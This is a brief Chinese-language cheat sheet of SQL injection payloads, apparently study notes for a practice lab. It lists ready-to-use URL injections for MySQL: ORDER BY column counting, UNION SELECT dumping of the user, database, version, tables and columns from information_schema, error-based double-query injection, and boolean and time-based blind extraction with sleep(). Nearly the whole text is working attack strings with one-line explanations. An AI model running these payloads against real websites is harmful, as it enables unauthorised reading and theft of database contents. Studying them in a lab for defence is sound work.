单引号注入
/?id=1' order by (一个数字)--+
遍历可以得到当前表的列数
/?id=-1' union select 1,2,3--+
得到1,2,3
/?id=-1' union select 1,2,concat_ws(char(32, 58, 32), user(), database(), version)--+
得到用户名,数据库名,版本号
/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit (一个数字),1--+
遍历可得到所有表
/?id=-1' union select 1,2,column_name from information_schema.columns where table_name=(表名) and table_schema=database() limit (一个数字),1--+
遍历可得到所有列名
寻找注入点时注意括号和双引号
双查询注入 用于网页不输出查询结果但是输出错误信息的情况
/?id=1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
其中select database()可替换为返回一个值的任何查询
盲注 用于网页即不输出查询结果也不输出错误信息但是出现错误查询有不同的结果的情况
/?id=1' and if(ascii(substr((select database()),(一个数字),1))>(一个ascii编码), 1, 0)--+
遍历可以通过网页是否发生变化从而通过逐个字母解析出查询结果
其中select database()可替换为返回一个值的任何查询
基于时间的盲注 用于网页不输出结果,不返回错误,不发生改变的情况
/?id=1' and if( ascii(substr((select database()),(一个数字),1))>(一个ascii编码),1,sleep(5))--+
遍历可以通过网页是否立即响应变化从而通过逐个字母解析出查询结果
其中select database()可替换为返回一个值的任何查询